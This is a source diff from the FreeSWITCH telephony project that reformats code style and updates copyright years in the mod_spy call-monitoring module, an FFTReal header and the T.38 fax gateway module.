|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -39,10 +39,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load);
|
||||
SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
|
||||
|
||||
struct mod_spy_globals {
|
||||
switch_memory_pool_t* pool;
|
||||
switch_event_node_t* node;
|
||||
switch_hash_t* spy_hash;
|
||||
switch_thread_rwlock_t* spy_hash_lock;
|
||||
switch_memory_pool_t *pool;
|
||||
switch_event_node_t *node;
|
||||
switch_hash_t *spy_hash;
|
||||
switch_thread_rwlock_t *spy_hash_lock;
|
||||
uint32_t spy_count;
|
||||
} globals;
|
||||
|
||||
@@ -50,14 +50,14 @@ static switch_status_t spy_on_hangup(switch_core_session_t *session)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
|
||||
char* data = switch_channel_get_private(channel,"_userspy_");
|
||||
char *data = switch_channel_get_private(channel, "_userspy_");
|
||||
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
|
||||
|
||||
if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"No such key in userspy: %s \n",data);
|
||||
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"Userspy deactivated on %s\n",data);
|
||||
if ((switch_core_hash_delete(globals.spy_hash, data) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No such key in userspy: %s \n", data);
|
||||
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Userspy deactivated on %s\n", data);
|
||||
globals.spy_count--;
|
||||
}
|
||||
|
||||
@@ -68,16 +68,16 @@ static switch_status_t spy_on_hangup(switch_core_session_t *session)
|
||||
static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
const char* spy_uuid = switch_channel_get_variable(channel,"spy_uuid");
|
||||
|
||||
const char *spy_uuid = switch_channel_get_variable(channel, "spy_uuid");
|
||||
|
||||
if (spy_uuid) {
|
||||
if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Can't eavesdrop on uuid %s\n",spy_uuid);
|
||||
if (switch_ivr_eavesdrop_session(session, spy_uuid, NULL, ED_DTMF) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Can't eavesdrop on uuid %s\n", spy_uuid);
|
||||
}
|
||||
}
|
||||
|
||||
switch_channel_set_state(channel,CS_PARK);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
switch_channel_set_state(channel, CS_PARK);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
static switch_status_t spy_on_park(switch_core_session_t *session)
|
||||
@@ -85,7 +85,7 @@ static switch_status_t spy_on_park(switch_core_session_t *session)
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
const char *moh = switch_channel_get_variable(channel, "hold_music");
|
||||
|
||||
while(switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
|
||||
while (switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
|
||||
if (moh) {
|
||||
switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
|
||||
if (!SWITCH_READ_ACCEPTABLE(status)) {
|
||||
@@ -98,13 +98,13 @@ static switch_status_t spy_on_park(switch_core_session_t *session)
|
||||
|
||||
|
||||
static const switch_state_handler_table_t spy_state_handlers = {
|
||||
/*.on_init */ NULL,
|
||||
/*.on_routing */ NULL,
|
||||
/*.on_execute */ NULL,
|
||||
/*.on_hangup */ spy_on_hangup,
|
||||
/*.on_exchange_media */ spy_on_exchange_media,
|
||||
/*.on_soft_execute */ NULL,
|
||||
/*.on_consume_media */ NULL,
|
||||
/*.on_init */ NULL,
|
||||
/*.on_routing */ NULL,
|
||||
/*.on_execute */ NULL,
|
||||
/*.on_hangup */ spy_on_hangup,
|
||||
/*.on_exchange_media */ spy_on_exchange_media,
|
||||
/*.on_soft_execute */ NULL,
|
||||
/*.on_consume_media */ NULL,
|
||||
/* on_hibernate */ NULL,
|
||||
/* on reset */ NULL,
|
||||
/* on_park */ spy_on_park,
|
||||
@@ -113,29 +113,29 @@ static const switch_state_handler_table_t spy_state_handlers = {
|
||||
SWITCH_STANDARD_API(dump_hash)
|
||||
{
|
||||
switch_hash_index_t *hi;
|
||||
const void* key;
|
||||
void* val;
|
||||
const void *key;
|
||||
void *val;
|
||||
|
||||
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
|
||||
|
||||
for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
|
||||
switch_hash_this(hi,&key,NULL,&val);
|
||||
stream->write_function(stream,"%s : %s\n",(char*)key,(const char*)val);
|
||||
for (hi = switch_hash_first(NULL, globals.spy_hash); hi; hi = switch_hash_next(hi)) {
|
||||
switch_hash_this(hi, &key, NULL, &val);
|
||||
stream->write_function(stream, "%s : %s\n", (char *) key, (const char *) val);
|
||||
}
|
||||
|
||||
stream->write_function(stream,"\n%d total spy\n",globals.spy_count);
|
||||
stream->write_function(stream, "\n%d total spy\n", globals.spy_count);
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static void event_handler(switch_event_t* event)
|
||||
static void event_handler(switch_event_t *event)
|
||||
{
|
||||
switch_core_session_t *session = NULL;
|
||||
switch_channel_t *channel;
|
||||
char *username[2] = {0};
|
||||
char* domain[2] = {0};
|
||||
char *username[2] = { 0 };
|
||||
char *domain[2] = { 0 };
|
||||
char key[512];
|
||||
char* uuid = NULL, *my_uuid = NULL;
|
||||
char *uuid = NULL, *my_uuid = NULL;
|
||||
int i;
|
||||
|
||||
switch_thread_rwlock_rdlock(globals.spy_hash_lock);
|
||||
@@ -144,22 +144,22 @@ static void event_handler(switch_event_t* event)
|
||||
goto done;
|
||||
}
|
||||
|
||||
username[0] = switch_event_get_header(event,"Caller-Username");
|
||||
domain[0] = switch_event_get_header(event,"variable_domain_name");
|
||||
domain[1] = switch_event_get_header(event,"variable_dialed_domain");
|
||||
username[1] = switch_event_get_header(event,"variable_dialed_user");
|
||||
username[0] = switch_event_get_header(event, "Caller-Username");
|
||||
domain[0] = switch_event_get_header(event, "variable_domain_name");
|
||||
domain[1] = switch_event_get_header(event, "variable_dialed_domain");
|
||||
username[1] = switch_event_get_header(event, "variable_dialed_user");
|
||||
|
||||
for (i = 0; i < 2; i++) {
|
||||
if (username[i] && domain[i]) {
|
||||
switch_snprintf(key,sizeof(key),"%s@%s",username[i],domain[i]);
|
||||
switch_snprintf(key, sizeof(key), "%s@%s", username[i], domain[i]);
|
||||
|
||||
if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
|
||||
if ((uuid = switch_core_hash_find(globals.spy_hash, key))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
|
||||
if (!uuid) {
|
||||
@@ -169,64 +169,64 @@ static void event_handler(switch_event_t* event)
|
||||
session = switch_core_session_locate(uuid);
|
||||
channel = switch_core_session_get_channel(session);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"UserSpy retrieved uuid %s for key %s, activating eavesdrop \n",uuid,key);
|
||||
my_uuid = switch_event_get_header(event,"Unique-ID");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "UserSpy retrieved uuid %s for key %s, activating eavesdrop \n", uuid, key);
|
||||
my_uuid = switch_event_get_header(event, "Unique-ID");
|
||||
|
||||
switch_channel_set_variable(channel,"spy_uuid",my_uuid);
|
||||
switch_channel_set_variable(channel, "spy_uuid", my_uuid);
|
||||
|
||||
switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
|
||||
switch_channel_set_flag(channel,CF_BREAK);
|
||||
switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
|
||||
switch_channel_set_flag(channel, CF_BREAK);
|
||||
|
||||
switch_core_session_rwunlock(session);
|
||||
|
||||
}
|
||||
|
||||
#define USERSPY_SYNTAX "<user@domain> [uuid]"
|
||||
SWITCH_STANDARD_APP(userspy_function)
|
||||
SWITCH_STANDARD_APP(userspy_function)
|
||||
{
|
||||
int argc = 0;
|
||||
char* argv[2] = {0};
|
||||
char* params = NULL;
|
||||
char *argv[2] = { 0 };
|
||||
char *params = NULL;
|
||||
|
||||
if (!zstr(data) && (params = switch_core_session_strdup(session,data))) {
|
||||
if (!zstr(data) && (params = switch_core_session_strdup(session, data))) {
|
||||
if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
|
||||
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
char* uuid = switch_core_session_get_uuid(session);
|
||||
char *uuid = switch_core_session_get_uuid(session);
|
||||
switch_status_t status;
|
||||
|
||||
switch_thread_rwlock_wrlock(globals.spy_hash_lock);
|
||||
if (switch_core_hash_find(globals.spy_hash,argv[0])) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Spy already exists for %s\n",argv[0]);
|
||||
switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
|
||||
if (switch_core_hash_find(globals.spy_hash, argv[0])) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Spy already exists for %s\n", argv[0]);
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
return;
|
||||
}
|
||||
|
||||
status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
|
||||
status = switch_core_hash_insert(globals.spy_hash, argv[0], (void *) uuid);
|
||||
|
||||
if ((status != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Cant insert to spy hash\n");
|
||||
switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cant insert to spy hash\n");
|
||||
switch_channel_hangup(channel, SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
return;
|
||||
}
|
||||
|
||||
globals.spy_count++;
|
||||
switch_thread_rwlock_unlock(globals.spy_hash_lock);
|
||||
|
||||
switch_channel_set_private(channel,"_userspy_",(void*) argv[0]);
|
||||
switch_channel_add_state_handler(channel,&spy_state_handlers);
|
||||
switch_channel_set_private(channel, "_userspy_", (void *) argv[0]);
|
||||
switch_channel_add_state_handler(channel, &spy_state_handlers);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,"UserSpy activated on %s \n",argv[0]);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "UserSpy activated on %s \n", argv[0]);
|
||||
|
||||
if (argv[1]) {
|
||||
switch_channel_set_variable(channel,"spy_uuid",argv[1]);
|
||||
switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
|
||||
switch_channel_set_variable(channel, "spy_uuid", argv[1]);
|
||||
switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
|
||||
return;
|
||||
}
|
||||
|
||||
switch_channel_set_state(channel,CS_PARK);
|
||||
switch_channel_set_state(channel, CS_PARK);
|
||||
return;
|
||||
}
|
||||
return;
|
||||
@@ -244,15 +244,15 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load)
|
||||
|
||||
globals.pool = pool;
|
||||
|
||||
switch_core_hash_init(&globals.spy_hash,pool);
|
||||
switch_thread_rwlock_create(&globals.spy_hash_lock,pool);
|
||||
switch_core_hash_init(&globals.spy_hash, pool);
|
||||
switch_thread_rwlock_create(&globals.spy_hash_lock, pool);
|
||||
globals.spy_count = 0;
|
||||
|
||||
switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &globals.node);
|
||||
|
||||
SWITCH_ADD_APP(app_interface,"userspy","Spy on a user constantly","Spy on a user constantly",userspy_function,USERSPY_SYNTAX,SAF_NONE);
|
||||
SWITCH_ADD_API(api_interface,"userspy_show","Show current spies",dump_hash,"userspy_show");
|
||||
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "userspy", "Spy on a user constantly", "Spy on a user constantly", userspy_function, USERSPY_SYNTAX, SAF_NONE);
|
||||
SWITCH_ADD_API(api_interface, "userspy_show", "Show current spies", dump_hash, "userspy_show");
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -261,12 +261,12 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spy_shutdown)
|
||||
{
|
||||
int sanity = 0;
|
||||
|
||||
while (globals.spy_count) {
|
||||
switch_cond_next();
|
||||
if (++sanity >= 60000) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (globals.spy_count) {
|
||||
switch_cond_next();
|
||||
if (++sanity >= 60000) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
switch_event_unbind(&globals.node);
|
||||
switch_core_hash_destroy(&globals.spy_hash);
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
|
||||
#if defined (FFTReal_CURRENT_HEADER)
|
||||
#error Recursive inclusion of FFTReal header file.
|
||||
#error Recursive inclusion of FFTReal header file.
|
||||
#endif
|
||||
#define FFTReal_CURRENT_HEADER
|
||||
|
||||
@@ -25,89 +25,83 @@
|
||||
|
||||
#if defined (_MSC_VER)
|
||||
#pragma pack (push, 8)
|
||||
#endif // _MSC_VER
|
||||
#endif // _MSC_VER
|
||||
|
||||
|
||||
|
||||
class FFTReal
|
||||
{
|
||||
class FFTReal {
|
||||
|
||||
/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
|
||||
|
||||
public:
|
||||
public:
|
||||
|
||||
/* Change this typedef to use a different floating point type in your FFTs
|
||||
(i.e. float, double or long double). */
|
||||
typedef float flt_t;
|
||||
(i.e. float, double or long double). */
|
||||
typedef float flt_t;
|
||||
|
||||
explicit FFTReal (const long length);
|
||||
~FFTReal ();
|
||||
void do_fft (flt_t f [], const flt_t x []) const;
|
||||
void do_ifft (const flt_t f [], flt_t x []) const;
|
||||
void rescale (flt_t x []) const;
|
||||
explicit FFTReal(const long length);
|
||||
~FFTReal();
|
||||
void do_fft(flt_t f[], const flt_t x[]) const;
|
||||
void do_ifft(const flt_t f[], flt_t x[]) const;
|
||||
void rescale(flt_t x[]) const;
|
||||
|
||||
|
||||
|
||||
/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
|
||||
|
||||
private:
|
||||
private:
|
||||
|
||||
/* Bit-reversed look-up table nested class */
|
||||
class BitReversedLUT
|
||||
{
|
||||
public:
|
||||
explicit BitReversedLUT (const int nbr_bits);
|
||||
~BitReversedLUT ();
|
||||
const long * get_ptr () const
|
||||
{
|
||||
class BitReversedLUT {
|
||||
public:
|
||||
explicit BitReversedLUT(const int nbr_bits);
|
||||
~BitReversedLUT();
|
||||
const long *get_ptr() const {
|
||||
return (_ptr);
|
||||
}
|
||||
private:
|
||||
long * _ptr;
|
||||
} private:
|
||||
long *_ptr;
|
||||
};
|
||||
|
||||
/* Trigonometric look-up table nested class */
|
||||
class TrigoLUT
|
||||
{
|
||||
public:
|
||||
explicit TrigoLUT (const int nbr_bits);
|
||||
~TrigoLUT ();
|
||||
const flt_t * get_ptr (const int level) const
|
||||
{
|
||||
class TrigoLUT {
|
||||
public:
|
||||
explicit TrigoLUT(const int nbr_bits);
|
||||
~TrigoLUT();
|
||||
const flt_t *get_ptr(const int level) const {
|
||||
return (_ptr + (1L << (level - 1)) - 4);
|
||||
};
|
||||
private:
|
||||
flt_t * _ptr;
|
||||
private:
|
||||
flt_t *_ptr;
|
||||
};
|
||||
|
||||
const BitReversedLUT _bit_rev_lut;
|
||||
const TrigoLUT _trigo_lut;
|
||||
const flt_t _sqrt2_2;
|
||||
const long _length;
|
||||
const int _nbr_bits;
|
||||
flt_t * _buffer_ptr;
|
||||
const BitReversedLUT _bit_rev_lut;
|
||||
const TrigoLUT _trigo_lut;
|
||||
const flt_t _sqrt2_2;
|
||||
const long _length;
|
||||
const int _nbr_bits;
|
||||
flt_t *_buffer_ptr;
|
||||
|
||||
|
||||
|
||||
/*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
|
||||
|
||||
private:
|
||||
private:
|
||||
|
||||
FFTReal (const FFTReal &other);
|
||||
const FFTReal& operator = (const FFTReal &other);
|
||||
int operator == (const FFTReal &other);
|
||||
int operator != (const FFTReal &other);
|
||||
FFTReal(const FFTReal & other);
|
||||
const FFTReal & operator =(const FFTReal & other);
|
||||
int operator ==(const FFTReal & other);
|
||||
int operator !=(const FFTReal & other);
|
||||
};
|
||||
|
||||
|
||||
|
||||
#if defined (_MSC_VER)
|
||||
#pragma pack (pop)
|
||||
#endif // _MSC_VER
|
||||
#endif // _MSC_VER
|
||||
|
||||
|
||||
|
||||
#endif // FFTReal_HEADER_INCLUDED
|
||||
#endif // FFTReal_HEADER_INCLUDED
|
||||
|
||||
#undef FFTReal_CURRENT_HEADER
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -54,40 +54,42 @@ SWITCH_STANDARD_APP(t38gateway_start_function);
|
||||
|
||||
/*! Type that holds codec information. */
|
||||
typedef struct {
|
||||
/*! The sampling rate of the audio stream. */
|
||||
int rate;
|
||||
/*! The number of channels. */
|
||||
int channels;
|
||||
/*! The sampling rate of the audio stream. */
|
||||
int rate;
|
||||
/*! The number of channels. */
|
||||
int channels;
|
||||
} t38gateway_codec_info_t;
|
||||
|
||||
/*! Type that holds session information pertinent to the t38gateway module. */
|
||||
typedef struct {
|
||||
/*! Internal FreeSWITCH session. */
|
||||
switch_core_session_t *session;
|
||||
/*! Codec information for the session. */
|
||||
t38gateway_codec_info_t t38gateway_codec;
|
||||
t38_gateway_state_t *t38;
|
||||
t38_core_state_t *t38_core;
|
||||
udptl_state_t *udptl;
|
||||
/*! Internal FreeSWITCH session. */
|
||||
switch_core_session_t *session;
|
||||
/*! Codec information for the session. */
|
||||
t38gateway_codec_info_t t38gateway_codec;
|
||||
t38_gateway_state_t *t38;
|
||||
t38_core_state_t *t38_core;
|
||||
udptl_state_t *udptl;
|
||||
} t38gateway_session_info_t;
|
||||
|
||||
static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
|
||||
{
|
||||
t38gateway_session_info_t *t;
|
||||
t38gateway_session_info_t *t;
|
||||
|
||||
t = (t38gateway_session_info_t *) user_data;
|
||||
return 0;
|
||||
t = (t38gateway_session_info_t *) user_data;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
|
||||
{
|
||||
t38gateway_session_info_t *t;
|
||||
t38gateway_session_info_t *t;
|
||||
|
||||
t = (t38gateway_session_info_t *) user_data;
|
||||
t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
|
||||
return 0;
|
||||
t = (t38gateway_session_info_t *) user_data;
|
||||
t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*- End of function --------------------------------------------------------*/
|
||||
|
||||
/*! \brief The callback function that is called when new audio data becomes available
|
||||
@@ -98,39 +100,39 @@ static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int s
|
||||
* @param type The switch callback type.
|
||||
* @return The success or failure of the function.
|
||||
*/
|
||||
static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
|
||||
static switch_bool_t t38gateway_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
|
||||
{
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
switch_codec_t *read_codec;
|
||||
switch_frame_t *frame;
|
||||
int16_t *amp;
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
switch_codec_t *read_codec;
|
||||
switch_frame_t *frame;
|
||||
int16_t *amp;
|
||||
|
||||
t38gateway_info = (t38gateway_session_info_t *) user_data;
|
||||
if (t38gateway_info == NULL) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
t38gateway_info = (t38gateway_session_info_t *) user_data;
|
||||
if (t38gateway_info == NULL) {
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
case SWITCH_ABC_TYPE_INIT:
|
||||
read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
|
||||
t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
|
||||
t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ_PING:
|
||||
case SWITCH_ABC_TYPE_CLOSE:
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ:
|
||||
frame = switch_core_media_bug_get_read_replace_frame(bug);
|
||||
amp = (int16_t *) frame->data;
|
||||
t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_WRITE:
|
||||
case SWITCH_ABC_TYPE_READ_REPLACE:
|
||||
case SWITCH_ABC_TYPE_WRITE_REPLACE:
|
||||
break;
|
||||
}
|
||||
switch (type) {
|
||||
case SWITCH_ABC_TYPE_INIT:
|
||||
read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
|
||||
t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
|
||||
t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ_PING:
|
||||
case SWITCH_ABC_TYPE_CLOSE:
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_READ:
|
||||
frame = switch_core_media_bug_get_read_replace_frame(bug);
|
||||
amp = (int16_t *) frame->data;
|
||||
t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
|
||||
break;
|
||||
case SWITCH_ABC_TYPE_WRITE:
|
||||
case SWITCH_ABC_TYPE_READ_REPLACE:
|
||||
case SWITCH_ABC_TYPE_WRITE_REPLACE:
|
||||
break;
|
||||
}
|
||||
|
||||
return SWITCH_TRUE;
|
||||
return SWITCH_TRUE;
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH module loading function
|
||||
@@ -140,19 +142,19 @@ static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_da
|
||||
*/
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
|
||||
{
|
||||
switch_application_interface_t *app_interface;
|
||||
switch_api_interface_t *api_interface;
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
switch_application_interface_t *app_interface;
|
||||
switch_api_interface_t *api_interface;
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
|
||||
SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
|
||||
|
||||
SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
|
||||
SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
/*! \brief FreeSWITCH application handler function.
|
||||
@@ -163,48 +165,48 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
|
||||
*/
|
||||
SWITCH_STANDARD_APP(t38gateway_start_function)
|
||||
{
|
||||
switch_media_bug_t *bug;
|
||||
switch_status_t status;
|
||||
switch_channel_t *channel;
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
switch_media_bug_t *bug;
|
||||
switch_status_t status;
|
||||
switch_channel_t *channel;
|
||||
t38gateway_session_info_t *t38gateway_info;
|
||||
|
||||
if (session == NULL)
|
||||
return;
|
||||
if (session == NULL)
|
||||
return;
|
||||
|
||||
channel = switch_core_session_get_channel(session);
|
||||
channel = switch_core_session_get_channel(session);
|
||||
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(data, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_t38gateway_", NULL);
|
||||
switch_core_media_bug_remove(session, &bug);
|
||||
return;
|
||||
}
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(data, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_t38gateway_", NULL);
|
||||
switch_core_media_bug_remove(session, &bug);
|
||||
return;
|
||||
}
|
||||
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
|
||||
t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
|
||||
|
||||
t38gateway_info->session = session;
|
||||
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
|
||||
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
|
||||
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
|
||||
t38gateway_info->session = session;
|
||||
t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
|
||||
t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
|
||||
t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
|
||||
|
||||
status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
|
||||
status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
|
||||
|
||||
